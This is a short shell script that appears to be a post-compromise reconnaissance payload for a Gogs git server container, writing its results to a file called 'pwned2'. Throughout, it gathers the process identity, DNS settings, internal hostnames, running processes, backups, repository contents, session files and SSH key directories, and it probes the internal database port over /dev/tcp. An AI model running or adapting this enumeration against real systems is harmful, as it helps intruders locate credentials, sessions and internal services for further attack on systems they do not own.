#!/bin/sh
{
echo "=== round2 lx1853 ==="
echo "--- id ---"; id
echo "--- resolv ---"; cat /etc/resolv.conf
echo "--- resolve ---"; for h in gogs-db db mysql redis caddy host.docker.internal; do printf "%s: " $h; getent hosts $h || echo none; done
echo "--- ps ---"; ps aux 2>/dev/null | head -40
echo "--- /backup ---"; ls -la /backup 2>/dev/null
echo "--- repo tree ---"; ls -la /data/git/gogs-repositories/ 2>/dev/null
for d in /data/git/gogs-repositories/*/; do echo "## $d"; ls -la "$d" 2>/dev/null | head -25; done
echo "--- local-r ---"; ls /data/gogs/data/tmp/local-r/ 2>/dev/null | head -40
echo "--- gogs data ---"; ls -la /data/gogs/data/ 2>/dev/null; ls /data/gogs/data/sessions 2>/dev/null | head
echo "--- ssh ---"; ls -la /data/ssh/ 2>/dev/null
echo "--- tcp ---"
timeout 2 sh -c "echo > /dev/tcp/gogs-db/3306" 2>/dev/null && echo "gogs-db:3306 OPEN" || echo "gogs-db:3306 closed"
echo "=== end2 ==="
} > pwned2 2>&1
